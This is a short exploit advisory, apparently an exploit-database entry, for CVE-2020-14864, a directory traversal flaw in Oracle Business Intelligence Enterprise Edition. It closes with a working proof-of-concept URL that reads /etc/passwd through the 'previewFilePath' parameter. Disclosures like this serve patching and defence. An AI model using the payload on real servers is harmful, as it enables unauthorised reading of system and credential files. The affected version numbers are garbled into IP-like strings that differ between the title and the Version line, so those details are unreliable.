# Exploit Title: Oracle Business Intelligence Enterprise Edition 18.104.22.168.0 / 22.214.171.124.0 / 126.96.36.199.0 - 'getPreviewImage' Directory Traversal/Local File Inclusion # Date: 2020-10-27 # Exploit Author: Ivo Palazzolo (@palaziv) # Reference: https://www.oracle.com/security-alerts/cpuoct2020.html # Vendor Homepage: https://www.oracle.com # Software Link: https://www.oracle.com/middleware/technologies/bi-enterprise-edition-downloads.html # Version: 188.8.131.52.0, 184.108.40.206.0, 220.127.116.11.0 # Tested on: SUSE Linux Enterprise Server # CVE: CVE-2020-14864 # Description A Directory Traversal vulnerability has been discovered in the 'getPreviewImage' function of Oracle Business Intelligence Enterprise Edition. The 'getPreviewImage' function is used to get a preview image of a previously uploaded theme logo. By manipulating the 'previewFilePath' URL parameter an attacker with access to the administration interface is able to read arbitrary system files. # PoC https://TARGET/analytics/saw.dll?getPreviewImage&previewFilePath=/etc/passwd
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